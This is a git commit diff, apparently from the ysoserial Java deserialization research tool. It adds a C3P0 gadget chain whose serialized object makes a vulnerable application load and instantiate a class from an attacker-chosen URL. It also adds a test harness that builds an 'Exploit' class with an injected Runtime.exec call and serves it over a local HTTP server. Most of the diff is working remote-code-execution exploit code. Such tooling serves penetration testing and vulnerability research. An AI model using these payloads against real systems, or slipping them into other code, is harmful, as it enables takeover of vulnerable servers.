Add C3P0 gadget chain.

Add remote classloading test harness.
This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent 20580e918d
commit c8e82237fe
7 changed files with 290 additions and 14 deletions
+12
View File
@@ -74,6 +74,13 @@
<version>1.8.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.nanohttpd</groupId>
<artifactId>nanohttpd</artifactId>
<version>2.2.0</version>
<scope>test</scope>
</dependency>
<!-- non-gadget dependencies -->
@@ -157,6 +164,11 @@
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
<profiles>
@@ -0,0 +1,93 @@
package ysoserial.payloads;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.PayloadTest;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
/**
* @param className
* @param url
*/
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
@@ -0,0 +1,19 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial;
/**
* @author mbechler
*
*/
public interface CustomPayloadArgs {
String getPayloadArgs ();
}
+1 -3
View File
@@ -6,9 +6,7 @@ import java.util.concurrent.Callable;
* @author mbechler
*
*/
public interface CustomTest {
public interface CustomTest extends CustomPayloadArgs {
void run (Callable<Object> payload) throws Exception;
String getPayloadArgs ();
}
+2 -2
View File
@@ -6,8 +6,8 @@ import java.util.concurrent.Callable;
* @author mbechler
*
*/
public interface WrappedTest {
public interface WrappedTest extends CustomPayloadArgs {
Callable<Object> createCallable ( Callable<Object> innerCallable );
}
@@ -23,6 +23,7 @@ import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.CustomPayloadArgs;
import ysoserial.CustomTest;
import ysoserial.Deserializer;
import ysoserial.PayloadTest;
@@ -91,17 +92,23 @@ public class PayloadsTest {
}
}
String payloadCommand = command;
Object wrapper = null;
if ( t != null && !t.harness().isEmpty() ) {
wrapper = Class.forName(t.harness()).newInstance();
Class<?> wrapperClass = Class.forName(t.harness());
try {
wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
} catch ( NoSuchMethodException e ) {
wrapper = wrapperClass.newInstance();
}
if ( wrapper instanceof CustomTest ) {
command = ( (CustomTest) wrapper ).getPayloadArgs();
if ( wrapper instanceof CustomPayloadArgs ) {
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
}
}
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
if ( wrapper instanceof WrappedTest ) {
callable = ( (WrappedTest) wrapper ).createCallable(callable);
@@ -119,9 +126,13 @@ public class PayloadsTest {
catch ( Throwable e ) {
// hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e);
if ( ! ( innerEx instanceof ExecException ) ) {
innerEx.printStackTrace();
}
Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
}
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
}
@@ -171,11 +182,11 @@ public class PayloadsTest {
/**
* @param payloadClass
* @return
* @throws SecurityException
* @throws NoSuchMethodException
* @throws InvocationTargetException
* @throws IllegalArgumentException
* @throws IllegalAccessException
* @throws SecurityException
* @throws NoSuchMethodException
* @throws InvocationTargetException
* @throws IllegalArgumentException
* @throws IllegalAccessException
*/
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
String[] baseDeps;
@@ -0,0 +1,143 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial.payloads;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Random;
import java.util.concurrent.Callable;
import fi.iki.elonen.NanoHTTPD;
import fi.iki.elonen.NanoHTTPD.Response.Status;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.WrappedTest;
/**
* @author mbechler
*
*/
public class RemoteClassLoadingTest implements WrappedTest {
private int port;
private String command;
/**
*
*/
public RemoteClassLoadingTest ( String command ) {
this.command = command;
this.port = new Random().nextInt(65535-1024)+1024;
}
/**
* {@inheritDoc}
*
* @see ysoserial.WrappedTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return String.format("http://localhost:%d/", this.port) + ":Exploit";
}
/**
* {@inheritDoc}
*
* @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable)
*/
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
}
private byte[] makePayloadClass () {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Exploit.class));
final CtClass clazz = pool.get(Exploit.class.getName());
clazz.setName("Exploit");
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
return clazz.toBytecode();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
private Callable<Object> innerCallable;
private byte[] data;
/**
* @param innerCallable
*/
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
super(port);
this.data = data;
this.innerCallable = innerCallable;
}
/**
* {@inheritDoc}
*
* @see java.util.concurrent.Callable#call()
*/
public Object call () throws Exception {
try {
setup();
return this.innerCallable.call();
}
finally {
cleanup();
}
}
/**
* @throws IOException
*
*/
private void setup () throws IOException {
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}
/**
*
*/
private void cleanup () {
stop();
}
/**
* {@inheritDoc}
*
* @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession)
*/
@Override
public Response serve ( IHTTPSession sess ) {
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
}
}
private static class Exploit {
}
}